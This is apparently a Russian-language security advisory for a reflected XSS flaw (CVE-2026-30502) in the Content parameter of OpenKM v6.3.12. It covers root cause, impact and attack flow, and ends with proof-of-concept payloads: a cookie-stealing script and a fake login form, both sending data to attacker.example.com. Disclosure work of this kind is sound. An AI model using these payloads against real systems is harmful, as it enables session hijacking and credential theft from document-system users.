
Документация и proof-of-concept для CVE-2026-30502, отражённая XSS-уязвимость в OpenKM v6.3.12. Включает технический анализ, первопричину, оценку воздействия и рекомендации по устранению для исследователей безопасности и пентестеров.
Обнаружено и сообщено Dharmendra Kumar — Исследователь безопасности
Кибербезопасность | Тестирование на проникновение | Исследование уязвимостей | Ответственное раскрытие
Этот репозиторий документирует ответственное раскрытие информации о CVE-2026-30502 — уязвимости Отражённая межсайтовая подмена сценариев (XSS), обнаруженной в OpenKM v6.3.12 — широко используемой системе управления документами с открытым исходным кодом, применяемой в корпоративной и государственной среде.
Уязвимость существует в параметре Content, который отражает вводимые пользователем данные обратно в браузер без надлежащей санитизации или кодирования вывода. Злоумышленник может создать вредоносную ссылку, содержащую встроенный JavaScript, и с помощью социальной инженерии заставить жертву перейти по ней, что приведёт к выполнению скрипта в сессии браузера жертвы.
⚠️ Серьёзность: Средняя–Высокая | Вектор атаки: Сеть | Требуемые привилегии: Нет | Взаимодействие с пользователем: Требуется
| Поле | Детали |
|---|---|
| Идентификатор CVE | CVE-2026-30502 |
| Продукт | OpenKM |
| Затронутая версия | v6.3.12 |
| Класс уязвимости | Отражённая межсайтовая подмена сценариев (XSS) |
| Уязвимый параметр | Content |
| CWE | CWE-79: Некорректная нейтрализация входных данных во время генерации веб-страницы |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| Серьёзность | Средняя–Высокая |
| Издатель | Программа MITRE CVE |
| Исследователь | Dharmendra Kumar |
| Тип раскрытия | Ответственное / Координированное |
OpenKM — это бесплатная система управления документами с открытым исходным кодом (DMS), предоставляющая веб-интерфейс для управления, аудита и распространения бизнес-документов. Она используется предприятиями, государственными органами и образовательными учреждениями по всему миру.
v6.3.12Отражённая межсайтовая подмена сценариев (XSS) была обнаружена в OpenKM v6.3.12 через параметр Content. Приложение не проверяет и не кодирует вводимые пользователем данные перед их отражением в теле HTTP-ответа, что позволяет внедрить и выполнить произвольный JavaScript в браузере жертвы.
В отличие от хранимой XSS, полезная нагрузка отражённой XSS не сохраняется в базе данных — она переносится в сфабрикованной ссылке. Атака основана на том, что жертву обманом заставляют перейти по вредоносной ссылке (доставленной по электронной почте, через социальные сети или фишинговые кампании), после чего полезная нагрузка незаметно выполняется в её браузере в контексте сессии жертвы.
Злоумышленник создаёт вредоносную ссылку
│
▼
Жертва переходит по ссылке (фишинг / социальная инженерия)
│
▼
Браузер отправляет GET/POST-запрос с полезной нагрузкой в параметре `Content`
│
▼
OpenKM отражает несанитизированные входные данные непосредственно в HTML-ответ
│
▼
Браузер разбирает и выполняет внедрённый JavaScript
│
▼
Угон сессии / кража учётных данных / компрометация учётной записи
Уязвимость возникает из-за того, что приложение не применяет меры безопасности входных-выходных данных к параметру Content:
| Слабость | Описание |
|---|---|
| ❌ Отсутствует проверка ввода | Параметр Content принимает необработанные символы HTML/JavaScript без ограничений или фильтрации |
| ❌ Отсутствует кодирование вывода | Отражённые значения записываются в HTML-ответ без кодирования HTML-сущностей |
| ❌ Отсутствует заголовок CSP | Не применяется политика безопасности содержимого для блокировки выполнения встроенных скриптов |
| ❌ Нет файлов cookie с флагом HTTPOnly | Токены сессии доступны через JavaScript, что позволяет напрямую украсть cookie |
Ссылка, созданная пользователем ──► Параметр Content ──► [НЕТ ПРОВЕРКИ]
──► Отражено в HTML-ответе ──► [НЕТ КОДИРОВАНИЯ]
──► Браузер выполняет скрипт ──► Компрометация учётной записи
Успешная эксплуатация этой уязвимости может привести к:
| Риск | Описание |
|---|---|
| 🍪 Угон сессии | Кража активных токенов сессии через document.cookie для выдачи себя за жертву |
| 🔑 Сбор учётных данных | Внедрение поддельных наложений входа для захвата незашифрованных имён пользователей и паролей |
| 📤 Раскрытие информации | Извлечение конфиденциального содержимого документов, данных пользователей или внутренних конфигураций |
| 🎣 Фишинговые атаки | Предоставление убедительных поддельных страниц, размещённых в доверенном домене OpenKM |
| 👤 Захват учётной записи | Выполнение произвольных аутентифицированных действий от имени жертвы |
| ⚙️ Несанкционированные действия | Изменение, удаление или извлечение документов в СУД |
| 🖥️ Распространение вредоносного ПО | Перенаправление жертв на сайты, контролируемые злоумышленником, размещающие вредоносные загрузки |
⚠️ Отказ от ответственности: Следующая информация предоставляется строго в образовательных целях и для исследований безопасности в соответствии с принципами ответственного раскрытия. Не тестируйте и не используйте это против систем, которые вам не принадлежат или на которые у вас нет явного письменного разрешения.
// Основное доказательство выполнения
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Извлечение cookie сессии
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Фишинговая накладка для учётных данных
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Username"/>'
+'<input name="p" type="password" placeholder="Password"/>'
+'<button>Sign In</button></form>';
document.body.prepend(d);
</script>
https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>